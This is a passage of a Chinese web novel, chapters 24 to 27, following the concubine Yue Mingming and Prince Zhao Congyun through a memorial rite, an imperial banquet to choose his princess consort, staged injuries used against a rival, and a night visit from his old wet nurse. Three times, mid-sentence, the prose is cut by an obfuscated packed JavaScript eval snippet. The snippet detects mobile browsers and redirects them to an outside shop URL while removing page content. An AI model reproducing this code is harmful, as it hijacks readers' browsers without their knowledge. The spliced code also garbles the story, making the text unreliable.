她声音闷闷的,哭着哭着,忽然又笑了:“下次一定要选个主角,有很多人喜欢、怎么都死不掉的那种。” “忘了我,忘掉这里发生的一切,重新开始吧。” 赵琮昀静静看着她胡言乱语,鬼使神差伸出衣袖,替她擦掉了脸颊上的泪珠。 他格外小心翼翼,实际上伸手那一瞬已经开始后悔,生怕这个时刻这样的动作显得唐突了。 果然,岳明明微微颤抖了一下,赵琮昀以为她要躲开,立刻抽手道:“对不住……我不是……“ 却见少女扯住他衣袖,一点不客气地擦起脸来:“嗯?不是什么?” 这次换赵琮昀僵住。 “……衣服弄脏了,没关系吧?”岳明明噙着眼泪笑起来,显得疯头疯脑。 赵琮昀看出她在替他解围,眉宇一松,勾起唇角:“无妨。” 他大概也是疯了,竟然觉得眼前一把鼻涕一把眼泪的少女很美。 两人又点燃香炉,烧了许多纸钱。湿漉漉的夜风被火光烘干,温暖扑面而来,像一个恋恋不舍的拥抱,又像一句说不出口的告别。 火光渐渐熄灭,东叔从远处走过来,提醒道:“该回去了。” 上车前,岳明明最后往湖面的某个方向看去,她曾在那里感受过刻骨的窒息、冰冷、绝望,她很想把这些感受留在此地,一去不复返,可她知道,有些东西一旦体会过,就再也不能假装它不存在。 它们会被时间冲淡,被更多更深的感受淹没,但永远不会消失。 岳明明想,这个游戏世界已经在她身上留下太多痕迹,不是拍拍屁股退出就可以当作什么都没发生了。 “我会好好玩下去,直到离开那一天。” * 玉湖祭拜后,皇上回心转意,赵琮昀终于可以正常出府上朝。不过他倒像真的转了性,再没去过邀月楼,连酒宴饭局都推了又推。 皇上欣喜,放言出去,要亲自为弟弟挑选王妃。 朝中很多攀龙附凤之人此前一直犹豫不决,如今见了皇上这态度,又发觉赵琮昀颇有浪子回头的架势,纷纷托人旁敲侧击,暗示自家女儿多么温良贤淑。 李凭如那边,当初发现被赵琮昀摆了一道,气了数日,最近也回过神来,开始频频进宫,在皇后面前百般撒娇讨好,目的当然还是扶正。 嘉王妃之争一时间成了京中最热门的话题。 外面争得热热闹闹,正主却很烦躁。 赵琮昀下朝归来,阴沉着一张脸,早饭只吃两口就撂下了。 东叔瞧他脸色,笑劝:“厨房里还炖着一道桂花羹,是岳娘子亲自点的,要不要尝尝?” 赵琮昀沉默片刻,忽地抬眸,冷笑一声:“肯定不是给我点的……是她自己想吃吧!求人施舍这种事,我可做不出来!你也不用绕着弯儿替她说好话。” 东叔暗暗叹口气。 自从祭拜回来,岳明明就整日躲在屋子里,口口声声得到了武功秘籍,研究功夫到了废寝忘食的程度,几次三番放赵琮昀鸽子。 朝堂上下多少人觊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390078|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觎王妃身份,明里暗里施压,赵琮昀周旋其中,身心俱疲,岳明明那边却连个人影都抓不着。 赵琮昀自然不肯放下身段求她露面,甚至命令东叔也不许说,可渐渐地,他心底生出一股从未有过的委屈。 全世界都在为当王妃巴结他,可他最希望出现的那个人,偏偏一句话都没有。 她之前不是还说想做王妃吗?! 赵琮昀越想越气,将茶碗重重搁下,吓得前来送羹汤的人脚步一顿。 “一早上生这么大气?怎么啦?”久违的声音响起,岳明明嬉皮笑脸站在门口,探出一颗毛茸茸的脑袋。 少女的脸红扑扑,像刚跑完八百米,额角微微沁着汗水,一身衣裙搭配得不成体统,发髻不知怎么搞的,竟有些松散凌乱。 唯有一双眼睛是亮晶晶的。 赵琮昀心突地跳了两下,连日积攒的情绪顿时烟消云散。 “你来做什么?”他勉强压下嘴角,冷着脸问道。 岳明明晃了晃手中的食盒:“给你送桂花羹啊……杏儿亲自摘的鲜桂花,厨房按照我家乡做法熬的,必须请你尝尝!” 赵琮昀不确定地瞥了东叔一眼,东叔眉开眼笑,摆明在说“我没骗你吧”。 岳明明先递给他一碗,自己也盛了一碗,扭头道:“东叔你也有份,小厨房给你留着呢!” “好啊!” 东叔表示迫不及待要去尝尝,借机离开后,只留下两人和满屋桂花香。 “有什么烦心事,跟我说说?”岳明明道。 赵琮昀忽然问她:“你还想不想做王妃?” “嗯?”岳明明呆了一下。 “我记得你亲口说过,你想做王妃,所以我……” 似乎觉得不妥,赵琮昀勉强将后半句话咽了回去,停顿片刻,他又缓缓道:“你自己说过的话,不能只有我当真。” 岳明明定定看着他,眼睛一眨一眨,不知在想些什么。 赵琮昀受不了她这样的注视,垂下眼眸,低声找补道:“……我不是在责备你,我……” “我想!”岳明明突然开口,打断他的话:“之前我可能头脑不太清楚,现在不一样了,我是认真的!” 赵琮昀从未在岳明明脸上见过这样郑重的神色,他微微一凛,也认真道:“好,那我们说定了!” 他只需要这样一句话,就足以应对满朝上下的威逼利诱。 岳明明问:“所以你的烦心事,是因为这个吗?” 赵琮昀淡淡道:“不需要你操心。” 岳明明轻轻笑了一下:“过几天皇上要在宫里设宴,为你挑选王妃,李凭如已经打通了皇后那边的关系,皇后懿旨都拟好了,到时候恐怕皇上也不能轻易拂了皇后的面子。” “这一局,李凭如赢面很大,你又想不到好办法,所以才烦吧?” 赵琮昀无奈:“又是东叔跟你说的?” 岳明明摇头道:“这次真不是!我有我的消息来源!” 赵琮昀蹙眉:“是谁?” 岳明明笑道:“当然是正主自己。李凭如巴不得我知道,然后看我气得撒泼打滚,她才痛快呢!” “所以……你生气了吗?”赵琮昀舀起一口羹汤,漫不经心地问。 “生气呀!我气死了!” 桂花香气弥漫在唇齿间,而后一股淡淡的清甜穿过喉咙,直抵五脏六腑,赵琮昀满意地点点头,赞道:“这羹不错。” 岳明明也跟着喝了一口,附和道:“是不错……那个,我好像惹祸了。” “我左思右想气不过,刚刚去厨房之前,跑去李凭如那里,把她打了一顿。” 赵琮昀舀羹的手顿住:“你……打了她?” “嗯。”岳明明又喝了一口,砸吧砸吧嘴:“她脸撞破了相,脚也崴了,肯定出不去门,那个宴会也别想了。” 赵琮昀默默思考片刻:“确实惹了大祸,有点麻烦。” 下一秒他终于忍不住,低低笑了起来。 25. 第 25 章 宫宴日。 夕阳余晖渐渐隐去,宫中早早点起了灯,沿着十里天街往集英殿方向绵延过去,一派璀璨庄严。 夜风裹着湿冷寒意,在亭台楼阁间打着旋儿,宫人们缩起脖子步履匆匆,银盔金甲的麒麟卫岿然不动。 岳明明扒着车窗默默看了一路,不知在想些什么。 “不必担心。”赵琮昀低声道:“待会儿你什么都不用说,万事有我。” 他的声音不同以往,有些发紧。 岳明明转过被冷风吹红的脸,静静看了他两秒钟,轻声说:“好像要下雪了。” 赵琮昀透过车帘缝隙向外看,远处天色的确有种超乎黑夜的阴沉。 “要变天了。”他喃喃道。 今天的赵琮昀一身锦袍云龙翻飞,嵌着宝玉明珠的紫金冠,在晦暗马车中依然流光溢彩,衬得他比以往任何时候都贵气逼人,也更桀骜冷漠。 平日的君子气度一扫而空,此刻他是生于帝王家、拥有一人之下地位和无限尊荣的王爷,真正的天潢贵胄。 岳明明隐隐明白,他把自己武装成一柄华丽的宝剑,锋芒毕露底下,是紧绷的神经和不容有失的决绝。 她忽然不确定还能不能再跟他肆无忌惮地开玩笑斗嘴了。 “很难吧?”岳明明问。 “嗯。”赵琮昀清楚她在问什么,没有否认。 他自己受益于皇权,亦代表着皇权,当然知道要反抗它有多难。 他淡淡道:“你不用觉得有负担。这么多年,我任凭他们为我做主,顺从地扮演着他们设计好的角色……如今我只是演够了……选谁做‘王妃’不过是个引子,我知道自己真正要的是什么。” 顿了顿,他又补充了一句:“无论出于什么目的,这条路你愿意陪我,我很高兴。” 岳明明笑道:“我也知道自己要什么,既然目标一致,就一起努力吧。” “等这趟宫宴之后,如果真的下雪,我请你喝酒。” 岳明明望着越来越近的乌云,故作轻松道:“在我……家乡有个习俗,第一场雪要喝酒吃炸鸡的。” “炸鸡?”赵琮昀蹙眉,被她奇怪的提议惹得笑了一下。 “好。”他最终点点头。 岳明明嘴角微微扬起。她没有说,初雪还有一件事要做……向爱的人表白。 * 此次宫宴特意设在了紫宸殿。这是往年帝后贺寿的场所,足见皇上对赵琮昀选妃之事的重视。 岳明明下了马车,不觉打了个寒战。 宫里真冷……眼前金碧辉煌、灯火通明,却半分也暖不到人心里去。 宫人引路,将二人领进偏殿。此时殿中已有宾客等候,主位上却不见皇帝和皇后的身影。 众人见到赵琮昀纷纷起身行礼,目光不经意间掠过岳明明,顿时神色各异。 他们对赵琮昀府中这位妾室皆有所耳闻,曾经的玉湖游船,她那丧心病狂父亲犯下的弥天大罪,以及赵琮昀为她求来的赦免令……桩桩件件,无法不让人浮想联翩。 岳明明毫不避讳地打量回去,她看着赵琮昀口中的郑国公、王翰林和徐尚书,最后将视线落在他们身侧的女子身上。 这三位姑娘应该就是王妃的候选人。 每一位都是名门闺秀该有的样子,仪态端庄,气质高华,然而细细琢磨,却又环肥燕瘦,各有千秋。 岳明明心想,皇上对他这位亲弟弟还是蛮好的,就算没有她横插一脚,李凭如的竞争对手也很强呢! 然而赵琮昀好似根本没看见这些女子,目不斜视地带她入了座。 往日风流成性的王爷,突然变成男德标兵柳下惠,所有人均是一愣,不免又将玩味目光投到岳明明身上。 岳明明死死咬住嘴唇,努力不让自己笑出来,以免更讨人嫌。 幸好门外响起通传声,皇帝到了! 一身龙袍的昭明帝缓步而入,身边是头戴凤冠的李皇后。与岳明明想象中稍有不同,昭明帝虽是赵琮昀亲哥哥,却因同父异母,两人长相并不相像。 正值盛年的昭明帝,额发鬓角已见霜华,一张方脸刚毅严肃,不怒自威。 李皇后却保养极好,笑容温婉,一副平易近人的模样,可岳明明越看此人越像李凭如,不由得提防起来。 众人行过礼后,昭明帝环视一周,脸上本就不多的笑意忽然僵住,眸光沉沉盯着赵琮昀,厉喝一声:“放肆!你还知不知道这是什么场合!” 李皇后顺着昭明帝目光望去,见到岳明明那一瞬,笑容愈发意味深长。 赵琮昀垂首,语气平淡:“回陛下,如果没有记错,今日是臣弟选王妃的日子。” “你还知道!” 昭明帝抄起茶碗掷过去,滚烫的茶汤溅了赵琮昀满身,他一动未动。 “来人!把他那妾室拖下去!”昭明帝吩咐一声,又对赵琮昀道:“你的账事后再算!” 赵琮昀横跨一步,拦在岳明明身前:“陛下让臣弟选妃,臣弟带来所选之人,不知哪里错了。” “你说她?”昭明帝怒极反笑:“你要选她做王妃?!” “是。” 殿内格外安静,赵琮昀这一句回答掷地有声。 “我只要她。” 昭明帝脸色数度变化,最后阴沉着脸,只说了一句:“你这是在逼我处死她。” 赵琮昀抬眸:“那陛下就是在逼臣弟去死。” 所有人呼吸一窒——嘉王对皇上……这是在以死作威胁吗? “你!”昭明帝果然勃然大怒,指着赵琮昀鼻子骂道:“怪朕以往太纵容你,导致你如今荒淫无度,不成体统!为了一个女人,竟敢说出这番大逆不道之言!” “你想死?朕偏偏要你活着,朕今日就要你亲眼看着她因你这番话,走不出这紫宸殿!看你往后还长不长记性!” 赵琮昀脸色白了一下。 他俯身从地上捡起一片碎瓷碗,这个动作吓得宫人们连连尖叫:“大胆!快来人护驾!” 然而未等麒麟卫闯进来,赵琮昀就将瓷片锋利的尖对准自己脖颈:“陛下放心,臣弟死也不会对您动手!我所求不多,只求自己做主,选一位我想要的王妃。” 他面色如常,手上却用了全力,那片不规则的碎碗刺破他掌心,鲜血沿着青筋暴涨的手臂蜿蜒而下,染红了一身华服。 岳明明大惊失色,她想过今天很难,可没想到这么难,一上来连兄弟寒暄都没有,直接血溅当场。 她很想拉住他,却又不敢轻举妄动。因为她分不清赵琮昀此刻是在演戏,还是较了真。 昭明帝见状也是一惊,眼中疼惜一闪即逝,然而君无戏言,更不可能让步,他只紧紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411820|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿住嘴巴,不再出言相逼。 局面顿时僵住。 大臣们生怕牵连其中,无人敢说话。 李皇后朝麒麟卫使个眼色,命他们退出去,这才温言劝道:“皇上息怒……您这弟弟是什么性子,您最清楚。从小到大哪件事不是听您的,只在这风花雪月上闹些脾气,您怎么还跟他认真了呢!” 她又朝赵琮昀走了两步:“你也胡闹!还不快扔了手里的东西,叫御医来看看!” 赵琮昀不动声色地后退一步:“请陛下和皇后娘娘成全。” 未等昭明帝说话,李皇后抢先道:“成全也不是不行,你先放手,我们从长计议。” 她见说不动赵琮昀,转向岳明明道:“还不劝劝你家王爷……你忍心看他为了你,这么伤害自己吗?” 岳明明早就想做点什么,见皇后发话,立刻上前拉住赵琮昀袖口,轻声道:“不要这样。” 赵琮昀垂眸与她对视,见少女眉头紧蹙,眼中写满担忧,他终于缓缓松开手。 众人暗暗松了口气。 岳明明掏出帕子,笨拙地替他包扎,李皇后吩咐宫人去请御医,被赵琮昀拦下:“不必麻烦。皇后娘娘刚说从长计议,臣弟斗胆,敢问此话何意?” 所有人都注意到,今日的赵琮昀咄咄逼人。 帝王家向来盛产薄情寡义、野心勃勃的阴谋家,却独缺情种。他这样子,真的只是因为一个妾室吗? 昭明帝眸光深邃,若有所思。 李皇后微微笑道:“其实……如果你这位妾室才德兼备,蕙质兰心,能配得上王妃的要求,哪怕家世身份差了些,陛下与我也愿意成就一段佳话。” 赵琮昀沉默了。 李皇后这一招以退为进更厉害! 她没有直接反对,看似好心,可仗着李凭如这条眼线,她怎么会不清楚岳明明的底细。最后只需用一个“德不配位”,就可以彻底堵住他的嘴。 只怕接下来,她要对岳明明发难了! 看着浑然不知危险、注意力仍在伤口上的岳明明,赵琮昀脊背倏地绷紧。 昭明帝对自己这个弟弟太熟悉,他看透赵琮昀云淡风轻下的紧张,冷笑道:“她出身于那样的家庭……才德兼备,蕙质兰心……做梦吧!” 李皇后道:“陛下此言差矣……莲花能出淤泥而不染,说不定这位妾室是个洁身自好的好姑娘。” 眼见着赵琮昀手上的血渐渐止住,岳明明才回过神,正好听见了这句话。 她很确定,这位皇后娘娘在阴阳她。 哈哈,原来是高阶版李凭如! 岳明明朝她甜甜一笑:“多谢皇后娘娘夸奖。” 李皇后面具般的笑脸短暂僵了一下,很快被她遮掩过去。 她为昭明帝斟了一杯新茶,漫不经心道:“可惜我们对这位妾室不甚了解,皇叔又是‘情人眼里出西施’,怎么看都是好的。不知有没有人……熟悉这位小娘子呢?” 仿佛回应她这句话,紫宸殿外突然传来一声嚎啕:“皇上、皇后娘娘,请为臣女做主啊!” 一道人影跌跌撞撞跑进来,宫人们追在身后,昭明帝和李皇后刚要发火,却发现来者竟是他们熟悉的人。 就见李凭如鼻青脸肿,拖着一条瘸腿,指着岳明明尖声道:“臣女要状告这个无法无天的妾室,她……她殴打我!” 26. 第 26 章 昭明帝闻言皱眉,李皇后脸色跟着一沉:“御前成何体统!你且慢慢说,若当真有此事,陛下自会为你做主!” 李凭如扑通跪倒,哭诉道:“回禀陛下、娘娘,前几日臣女在府中撞见岳氏,此女不分青红皂白,泼妇一般对我拳打脚踢,下人们拦都拦不住!如今臣女殿前失仪,这副丑模样惊扰了陛下和娘娘,全赖此女!” 昭明帝:“她为何对你拳脚相向?” 李凭如瞥了眼赵琮昀,凄然道:“臣女真的不知!臣女虽是侧妃,在府中无论地位还是宠爱,皆不及岳氏……可能她听说陛下要在宫中选擢王妃,臣女也在此列……所以才一时发了疯。” 昭明帝脸色阴沉:“李氏虽为侧王妃,却也是明媒正娶,本朝以来从未听过妾室殴打正妻的行径,当真荒唐至极!” 李皇后突然起身,对昭明帝跪道:“李氏是臣妾侄女,她此番殿前失仪,臣妾不敢包庇,请陛下治罪!然而此事事皇室颜面,臣妾以为需慎重处置,以免有失天家威严!” 在场所有人都听出了她的言外之意。 “陛下……”赵琮昀抢上一步,撩衣襟跪地:“请容臣弟解释!” 昭明帝高声怒斥:“你闭嘴!皇后所言有理!你自己不要脸面,还要连累着朕和整个皇室跟你一起丢脸吗?!” “我不听你的解释!” 昭明帝极有压迫感的目光,突然落在岳明明身上:“我要听她解释!” 自从李凭如进殿,岳明明就一直垂眸安静站在原地,面色不卑不亢。 御前被告还能从容不迫,就连很多大臣都做不到,这个小小妾室却连滴眼泪都没流,倒让昭明帝有些刮目相看。 他沉声问道:“李氏所言是否为真?你可有什么为自己辩解的?” 李皇后神色有些复杂,她没想到岳明明居然没第一时间反驳,昭明帝竟还给了她说话的机会。 岳明明深吸一口气,心想:你们可算演完了,终于轮到我了。 其实李凭如的出现在她意料之中,她知道那一刻不能哭,不能跟李凭如比嗓门,如果两个人吵成一团,昭明帝厌烦之下,只当两个深闺妇人殿前撒泼,到时候谁也讨不着好。 此刻以静制动,反倒引人注意。 岳明明大大方方跪下回话:“禀陛下,李氏所言,有真亦有假。” “臣女打她为真,打她的理由为假。” 昭明帝眉毛一挑:“哦?那你说说,究竟因何打人?” 岳明明重重叩首:“是侧王妃先动手打臣女,臣女实在受不了,迫不得已才还手!” 她眼角终于落下泪来,声音却依旧平静:“臣女自知家世低微,父亲又是犯了过错的大罪人,侧王妃教训两句、打两下都是理所应当。可是……臣女当时若不还手,只怕再也见不到王爷了!” 此话一出,众人恍然。毕竟李凭如家世摆在那里,自小骄纵惯了,故意刁难宠妾,倒像是她会做出来的事。 只有李凭如愣住,脱口道:“贱人胡说八道!我何时打你了?” 李皇后轻咳一声,眼神刀锋似的滚过,李凭如登时不敢再多言。 昭明帝皱眉:“如今你们双方各执一词,可李氏容貌受损,你却完好无缺……你说她打你,可有证据?” 岳明明点头:“臣女请求验伤!” 李皇后心头一跳,感觉不对,刚要开口周旋,昭明帝干脆道:“准了!来人,就在此处,带她验伤!” 宫人领命,很快找来两位资深女使,将岳明明带去殿侧一处屏风后。 不多时,所有人都听到屏风后传来一道压抑不住的低呼,似乎吃惊不小。 李皇后低喝一声:“何人殿前失仪?” 女使脸色发白,匆忙出来回话:“陛下、皇后娘娘恕罪!实在是……实在是……” 昭明帝见她吞吞吐吐,心中已有计较:“你只管如实说!” 女使蹙眉道:“岳娘子手臂、后背、双腿确有多处伤痕,轻则淤青,重则溃破……都是近期的伤,实在让人不忍细看。” 一直默不作声的赵琮昀,此刻蓦地抬头,狠狠盯住李凭如,眼中流露的厌恶和恨意,吓得李凭如踉跄后退。 昭明帝怒道:“李氏好手段!将人伤成这样,脸上却不见一点伤痕……这么恶毒的法子,谁教你的?” 李凭如惊惧哭道:“我没有!我根本没碰她!这一定是她的苦肉计……陛下、皇后娘娘要为臣女做主啊!” 她扑向李皇后:“请娘娘相信我!” 李皇后哀叹一声:“你这孩子……从前性子就软,跟你说过多少遍,让你处置了手底下几个恶仆,你偏不忍心,现在他们将你府中妾室打成这样,你可知错?” 李凭如一脸的不敢置信,她心中万般委屈,可是对着李皇后慈眉善目的脸,偏偏不敢再争辩半个字,最后哽咽道:“……臣女……错了!” 李皇后点点头,对昭明帝温言道:“后宅之事本就一团乱麻,臣妾做个主,让她处死伤人者,再向岳娘子赔个不是……今日选妃要紧,千万别误了正事!” 昭明帝沉默不语,一旁赵琮昀冷笑道:“皇后娘娘这是想替侄女脱罪吗?” “如此毒妇,恕臣弟府中不能再容……”他正想趁势休掉李凭如,袖子却被人狠狠扯了一把,赵琮昀转头,见岳明明拉着他,递给他一个他无法参透的眼神。 “此事臣女亦有错……我愿与侧王妃和解,往后互不追究,免得府内失和。”岳明明乖巧道。 昭明帝意味不明地笑道:“倒是个聪明的!该散的都散了吧……正事要紧。” 李皇后暗暗朝身旁使个眼色,立刻有宫人扶李凭如退了下去。 待她离开,李皇后突然开口:“臣妾要向陛下讨个恩典……臣妾瞧这岳娘子很识大体,不妨就让她留下,参与王妃选擢可好?” ………… 岳明明疑惑,李皇后会这么好心? 她与赵琮昀对望一眼,他眉宇间也笼起犹疑之色。 昭明帝冷眼看跪在地上的一对人,少女手中还攥着赵琮昀半个袖子,两个人离得很近,看起来般配极了。 他思绪飘远,不知想到了什么,半晌后缓缓吐出两个字:“准了。” “朕与皇后一片苦心,希望你不要辜负了。”到底是自己亲手养大的弟弟,昭明帝不想逼他太紧,索性顺着李皇后给的台阶退了一步。 眼见着一场疾风暴雨散去,众人暗暗松了口气,昭明帝挥手示意,迟来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475501|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宫宴终于开始。李皇后亲自斟酒赔罪,惹得几位大臣惶恐万分,只有赵琮昀埋头饮酒,对周遭寒暄置若罔闻。 岳明明见他神色有异,悄声问道:“你怎么啦?” 赵琮昀沉默片刻,深深看她:“你那些伤是怎么回事?她什么时候对你动的手,为何不告诉我?” 岳明明怔了怔:“……你担心了?” 赵琮昀没有否认。 岳明明按住他倒酒的手,狡黠笑道:“放心,都是假的……这叫‘伤妆’,出门前我让杏儿帮我画的,她手艺特别好,一学就会,等回去细细给你看!” 赵琮昀似乎不信,反复确认道:“真的?当真没事?” “骗你是小狗!”岳明明笑得眼睛比星辉还灿烂。 赵琮昀眉宇间终于有了浅淡笑意。 他顿了顿,沉声叮嘱道:“李凭如没讨到便宜,我猜皇后决不会善罢甘休,你千万小心!” 岳明明点头:“你也是。” 她瞥见赵琮昀掌心殷红的血迹,一把夺过他面前酒杯:“你说你,装装样子就好,怎么还来真的?不许喝了,对伤口不好!” “不碍事的。”赵琮昀用长袖掩住手,似有些无奈,又有些欢喜。 李皇后远远瞧着两人,对昭明帝道:“陛下看他们多恩爱!臣妾亦不想平白拆散一对佳人,选妃这事,可怎么办好呢?” 昭明帝不悦道:“凭她出身,能入选已是破格,难道你还要为她作弊不成?!历来选王妃,无非考核品行才艺,该怎么选就怎么选!” 李皇后欠身道:“陛下教训得是!女红一类臣妾不太懂,不如考考她们琴棋书画四艺,届时公开展示,想来皇叔和诸卿家也可信服,如何?” 昭明帝环顾一周,几位臣子自然没有异议,纷纷点头,唯有赵琮昀蹙眉不语。 他见过岳明明的字和图画,委婉来讲,可以用“粗鄙”形容。想来琴棋两项,也好不到哪儿去。 这是一场必输的比试,他必须想办法拒绝。 “怎么?不敢答应?”昭明帝脸色沉下来:“皇后处处为你着想,你不要得寸进尺。” 岳明明突然脆声道:“臣女答应!王爷犹豫,是怕臣女水平太差,脏了陛下和娘娘的眼!” 昭明帝笑道:“你倒不必如此自谦。如果你当真才德出众,朕也不会食言。” 赵琮昀一脸黑线,很想告诉皇兄,她真的没有自谦,的确是不堪入目的程度! 昭明帝继续道:“不过今日天色已晚,琴棋书画四项,不知要比到什么时辰。” 李皇后道:“这不打紧,让她们在宫中住一晚,明日开始比试。” 听到要留宿宫中,赵琮昀更加忧心忡忡,他用眼神询问岳明明,却见她一脸的胸有成竹。 其实岳明明这份自信是装出来的。 琴棋书画她一窍不通,但她有一种对危险的朴素直觉——她知道,今天赵琮昀不能再顶撞皇上了! 给他留一晚时间周旋,况且她还有八卦系统,可以适时掀一掀这几位大家闺秀和朝廷重臣的老底。 后来岳明明无数次回想,如果自己当时没有自作主张,替赵琮昀做出这个看似周全的决定,这场宫宴的结局会不会不一样? 27. 第 27 章 宫宴结束后,岳明明跟其他几位女子一并被安排住进毓华宫,赵琮昀则留在了御书房陪昭明帝下棋。 赵琮昀心中莫名不安,他在寒风中伫立良久,直到岳明明和一众宫人的身影消失在夜色中,才缓缓收回目光。 “东叔,你回府一趟,替我取个东西。”赵琮昀忽然开口。 东叔附耳过去,听了几句,瞳孔倏地放大:“王爷……何至于此……” “以防万一。”赵琮昀盯着乌云堆叠的漆黑夜空,低声叹道:我也希望用不上。” * 岳明明倒不如赵琮昀那般紧张,她一路寒暄,还没到毓华宫,就已经摸清了其他几人的身份信息。 她在心里仔细记下,回了屋子便开始用系统八卦起来。 由于不敢用纸笔记录,岳明明只好坐在桌案前独自喃喃,宫人们见她这副样子,也不敢上前打扰,知趣地退了出去。 与设想不同,宫中虽然侍从、护卫无处不在,夜晚却格外寂静。 僵坐许久,待岳明明回过神,外面已敲过三更梆子。 她伸个懒腰,毫无睡意,索性推开窗子,深深吸了一大口湿冷夜风,满腹心事暂时冻结,脑中渐渐浮出一道欺霜傲雪的身影。 不知他此刻在干嘛?睡了没有? 他掌心那道伤口该用药的,临走前忘了叮嘱他…… 岳明明趴在窗前,轻轻叹了口气。 明日的比试她毫无把握。熬夜搜集来的八卦,根本没什么有效信息。这几位不比苏定柔,过往履历干净得近乎无聊,实在不够拿出来威胁她们退出王妃擢选。 看来明日要出尽洋相了…… 作为一个现代人,琴棋书画一窍不通她并不羞愧,可岳明明不想看到昭明帝因此责备赵琮昀,更不愿意赵琮昀因她成为满朝廷的笑柄。 她抬眼往宫墙望去,今夜无星无月,灯火照不到的地方漆黑一片,倒是个适合飞檐走壁的日子——岳明明开始认真掂量起来,凭她刚习得的轻功,能不能在皇宫“造次”一回,趁丢脸前逃掉。 正胡思乱想着,殿外传来细细簌簌的脚步声。一队宫人巡夜路过,岳明明不想被人撞见,赶紧关上窗子,余光却瞥见一道人影脱离队伍,径直朝自己而来。 夺夺夺……那人果然在她门前停下,轻轻敲起门来。 岳明明有点慌。 她在皇宫之中除了赵琮昀,谁都不认识,半夜三更有人敲门,惊悚程度堪比恐怖片。 “岳娘子睡了吗?”门外一个沉稳的女声问道。 “你是谁……有事吗?”岳明明轻手轻脚溜到门前,默念着行云掌出招诀窍。 “王爷让我来给岳娘子带点宵夜。”那人低声道。 “……”岳明明懵了,心情很复杂。 她不知该不该相信对方的话,可如果是真的……敢情她在赵琮昀心里,居然是个入宫也不忘宵夜的吃货?! “王爷说了,宫中的桂花羹虽比不上娘子家乡做法,却别有一番滋味,特意叫我带来给您尝尝。”那人温声解释道。 入宫前,岳明明特意给赵琮昀送过桂花羹,这件事只有他们知道。 是自己人。 岳明明打开门,就见一位上了年纪的宫人拎着食盒站在门前:“奴婢姓孙,您若不嫌弃,可以叫我一声孙嬷嬷。” 岳明明不敢怠慢,赶紧将人请进来。孙嬷嬷将食盒内的吃食一一摆好,除了桂花羹,还有两碟点心,两碟蜜饯,都是岳明明没见过的样式。 孙嬷嬷道:“王爷说娘子晚宴上吃得少,在宫里恐怕也睡不踏实,怕您夜里起来饿肚子,便托我过来看看。” 岳明明脸颊一红,有些不好意思:“谢谢嬷嬷……麻烦您了!” 孙嬷嬷笑了笑,不露声色打量着她,许久才道:“奴婢当年是王爷的乳娘,后来他出宫立府,始终记挂着我当年那点微不足道的照拂,仍时不时来探望我,我无以为报,只能每年在长福寺替他添一盏祈福灯,盼他有一天得偿所愿。” 岳明明微微一怔,她以为眼前只不过是个赵琮昀信得过的宫人,却没想到两人有这么深的渊源。 “得偿所愿……”岳明明好奇道:“他有什么愿望吗?” 孙嬷嬷不答,将羹汤推到她面前:“王爷一番心意,娘子趁热尝尝吧。” 岳明明还真有些饿了,从善如流地舀了一口,眼睛顿时亮起来:“好特别的味道!” 孙嬷嬷点头:“此羹在桂花羹的基础上,又添了山楂蜜,才有了这甜中带酸的口感……当年贵妃娘娘病中胃口不好,先皇想了这个办法,每次都能哄得贵妃多吃一碗。” “您的意思是……这是先皇想出来的方子?”岳明明心念一动:“贵妃娘娘……难道是……” 孙嬷嬷接道:“不错,正是王爷的亲生母亲,故去的那位李贵妃。” 岳明明深知以赵琮昀的脾气秉性,打死都不会跟人谈论往事,却不知他这位乳娘,为何要告诉她这些。 孙嬷嬷似乎看透了她的疑惑,突然问道:“娘子可知王爷是如何长大的?” 幼崽时期的赵琮昀? 岳明明摇头,她只在东叔和李嗣大闹玉湖时的只言片语中,猜测赵琮昀变成今天这性格,多半是有什么童年阴影。 孙嬷嬷平声道:“先皇少子,李贵妃又是他最宠爱的妃子,所以王爷刚刚出生时,可谓备受恩宠,就连当今圣上也要逊色三分。 “可世事难料……短短两年,贵妃与先皇决裂,贵妃自请入住冷宫。她是执拗的性子,心意已决,谁都改变不了。出发当天,王爷哭闹着跟在她身后喊了一路的娘,她连头都没回过一次。” 孙嬷嬷叹了口气:“李贵妃离开后,先皇连带着也不愿见王爷,王爷自此便失了宠爱。” 她声音放低:“娘子可知,在这深宫中,妃子失宠可悲可叹,皇子失宠却是可怕。” 岳明明不解:“为什么?再不济也有皇子身份啊?” 孙嬷嬷道:“正因这皇子身份……有人怕李贵妃有朝一日复宠,怕先皇某一日突然想起这位冷落的儿子,更怕这孩子长大后威胁皇位。” 